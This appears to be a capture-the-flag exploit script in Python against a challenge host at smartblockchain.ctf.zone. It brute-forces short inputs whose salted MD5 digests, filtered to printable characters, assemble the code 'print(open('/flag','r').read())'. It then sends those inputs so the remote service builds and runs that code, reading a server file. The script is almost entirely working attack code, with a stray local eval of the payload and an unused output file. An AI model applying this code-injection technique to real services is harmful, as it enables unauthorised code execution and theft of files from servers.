#!/usr/bin/env python3

 

import hashlib

import socket

import sys

import os

 

def is_printable_ascii(c):

    string = chr(c)

 

    return string.isascii() and string.isprintable()

 

 

def make_payload(line, salt):

    hashed = hashlib.md5((salt + line).encode("utf8")).digest()

 

    code = filter(is_printable_ascii, hashed)

 

    return bytes(code).decode("ascii")

 

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# now connect to the web server on port 80 - the normal http port

s.connect(("smartblockchain.ctf.zone", 8333))

salt = s.recv(64)

print(salt)

salt = salt.split()[-1].strip().decode("utf-8")

print(salt)

print(f"Here is your salt: {salt}")

 

sys.stdout.flush()

 

payload = ""

 

want="print(open('/flag','r').read())"

 

def bits():

        for a in range(64):

                for b in range(64):

                        for c in range(64):

                                for d in range(64):

                                        yield chr(33+a) + chr(33+b) + chr(33+c) + chr(33+d)

 

 

res = []

while want:

        for c in bits():

                r = make_payload(c, salt)

                if r and want.startswith(r):

                        print(c)

                        res.append(c)

                        print(r)

                        want = want[len(r):]

                        break

 

 

out = open("blup", "w")

for line in res:

    s.send((line + "\n").encode("utf-8"))

    if line[-1] == "\n": line = line[:-1]

 

    payload += make_payload(line, salt)

 

s.shutdown(socket.SHUT_WR)

print(s.recv(1000))

eval(payload)